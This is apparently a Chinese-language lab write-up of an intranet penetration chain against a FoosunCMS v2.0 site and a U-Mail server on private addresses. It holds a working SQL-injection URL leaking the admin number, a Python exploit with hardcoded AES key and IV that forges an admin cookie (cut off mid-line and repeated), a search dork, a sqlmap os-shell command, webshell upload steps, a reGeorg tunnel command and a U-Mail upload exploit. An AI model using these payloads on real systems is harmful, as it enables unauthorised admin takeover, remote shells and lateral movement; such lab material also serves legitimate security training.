内网漫游拓扑图
利用登录绕过漏洞进行后台
目标网站ip:192.168.31.55,将目标网站ip绑定到本地hosts文件下的www.test.com下(防止直接访问ip网站加载不全),访问www.test.com得到网站首页,发现是一个html静态网站
经过点击发现该网站是FoosunCMS搭建的经过点击发现该网站是FoosunCMS搭建的
版本为v2.0,存在可以利用的漏洞,绕过管理员账号信息验证,直接进入后台,可谓是非常危险的一个利用漏洞,访问网站后台地址:/manage/Index.aspx
搜索发现FoosunCMS v2.0有一个登录绕过漏洞,尝试登录绕过,访问下面链接得到UserNumber
http://www.test.com/user/City_ajax.aspx?CityId=1%27%20union%20all%20select%20UserNum,UserNum%20from%20dbo.fs_sys_User%20where%20UserName=%27admin
发现得将UserNumber加密后拼接成cookie即可成功登录
直接用sql注入拿到UserNumber,然后再与UserName等拼接,构造cookie直接以管理员权限登录,Exp代码如下:
#coding:utf-8import argparseimport urllibimport tracebackimport base64from Crypto.Cipher import AESfrom binascii import b2a_hex, a2b_hex#################################search keyword:####inurl:/manage/Login.aspx #################################KEY = 'Guz(%&hj7x89H$yuBI0456FtmaT5&fvHUFCy76*h%(HilJ$lhj!y6&(*jkP87jH7'IV = 'E4ghj*Ghg7!rNIfb&95GUY86GfghUb#er57HBh(u%g6HJ($jhWk7&!hg4ui%$hjk'def parse_args(): parser = argparse.ArgumentParser() parser.add_argument("-u", "--url", help="the url", required=True, nargs="+") return parser.parse_args()def run(url): try: usernumber = get_usernumber(url) if usernumber is not None: encrypt_cookie = generate_cookie(usernumber) #写入cookie中 write_cookie(url, encrypt_cookie) except Exception: traceback.print_exc()def get_usernumber(url): fullurl = url + "/user/City_ajax.aspx?CityId=1' union all select UserNum,UserNum from dbo.fs_sys_User where UserName='admin" content = urllib.urlopen(fullurl).read() index = content.index("执行后成功得到加密的绕过后台登录cookie
将脚本打印的加密Cookie用EditThisCookie写入浏览器Cookie
然后访问http://www.test.com/manage/Index.aspx即可成功进入后台
注意:
如果在执行exp脚本的时候出现以下情况,则需要安装python Crypto.Cipher加密包
安装加密包
利用文件上传漏洞获取shell
进入后台后发现控制面板>系统参数设置>上传处可修改上传文件允许格式,在里面加入aspx格式
利用菜刀成功连接到上传的aspx一句话脚本,但是发现权限不是system权限尝试利用sqlmap获取交互shell
http://www.test.com/user/City_ajax.aspx?CityId=1%27%20union%20all%20select%20UserNum,UserNum%20from%20dbo.fs_sys_User%20where%20UserName=%27admin
sqlmap.py -u"http://www.test.com/user/City_ajax.aspx?CityId=1%27%20union%20all%20select%20UserNum,UserNum%20from%20dbo.fs_sys_User%20where%20UserName=%27admin" --os-shell
利用sqlmap尝试写入一句话木马(补充:注意转义问题)尝试添加用户失败,显示密码不满足密码策略组要求复杂性太低利用Sqlmap交互shell发现该主机ip为192.168.1.123,而不是我们所访问的192.168.31.55。那么有可能是利用了端口转发把不在同一网段的ip转发到了同一网段内网漫游
通过查看发现其开启了3389端口,利用前面添加的管理员账号密码远程登录3389,发现在administrator管理员用户下桌面上有一个记事本发现了两个账号密码
利用发现的账号登录www.test.com:8080端口的路由界面发现限制了ip登录,我们猜测可能是设置了只能内网ip登录然后我们在本地设置代理后成功登录,发现是个内网路由网站,登录路由后发现该路由器下还有一个172.19.23.123的网站这里我们利用kali里的reGeorge+proxychains代理来进行内网渗透,首先设置proxychains的配置文件,打开kali终端输入以下命令,并将dynamic_chain前面的注释符#去掉
设置好以后保存退出,切换到reGeorg-master文件下python reGeorgSocksProxy.py -p 2333 -l 0.0.0.0 -u http://www.test.com/files/tunnel.aspx
使用代理打开Firefox浏览器,注:命令前面加proxychains => 使用代理执行该命令发现这个网站是一个u-mailCMS,我们发现u-mail爆发过一个很严重的文件上传漏洞,可以尝试一下这个网站是否修复了这个漏洞,Exp代码如下:使用代理打开构造的html页面,然后上传一个后缀为jpg的php大马利用下面payload获取到当前登录的user_id为3利用爆出来的user_id和file_id构造出上传的大马文件路径,并利用PHP解析漏洞,路径后面加/.php成功解析
总结
1.访问目标系统的WEB端口,然后通过在线指纹识别查询目标系统的CMS系统为FoosunCMS,该网站存在历史漏洞后台注入漏洞,且版本为v2.0http://www.test.com2.访问以下地址,可获得管理员的UserNumberhttp://www.test.com/user/City_ajax.aspx?CityId=1%27%20union%20all%20select%20UserNum,UserNum%20from%20dbo.fs_sys_User%20where%20UserName=%27admin3。直接访问后台页面http://www.test.com/manage/Index.aspx4.直接用sql注入拿到UserNumber,然后再与UserName等拼接,构造cookie直接以管理员权限登录,Exp代码如下:#coding:utf-8import argparseimport urllibimport tracebackimport base64from Crypto.Cipher import AESfrom binascii import b2a_hex, a2b_hex#################################search keyword:####inurl:/manage/Login.aspx #################################KEY = 'Guz(%&hj7x89H$yuBI0456FtmaT5&fvHUFCy76*h%(HilJ$lhj!y6&(*jkP87jH7'IV = 'E4ghj*Ghg7!rNIfb&95GUY86GfghUb#er57HBh(u%g6HJ($jhWk7&!hg4ui%$hjk'def parse_args(): parser = argparse.ArgumentParser() parser.add_argument("-u", "--url", help="the url", required=True, nargs="+") return parser.parse_args()def run(url): try: usernumber = get_usernumber(url) if usernumber is not None: encrypt_cookie = generate_cookie(usernumber) #写入cookie中 write_cookie(url, encrypt_cookie) except Exception: traceback.print_exc()def get_usernumber(url): fullurl = url + "/user/City_ajax.aspx?CityId=1' union all select UserNum,UserNum from dbo.fs_sys_User where UserName='admin" content = urllib.urlopen(fullurl).read() index = content.index("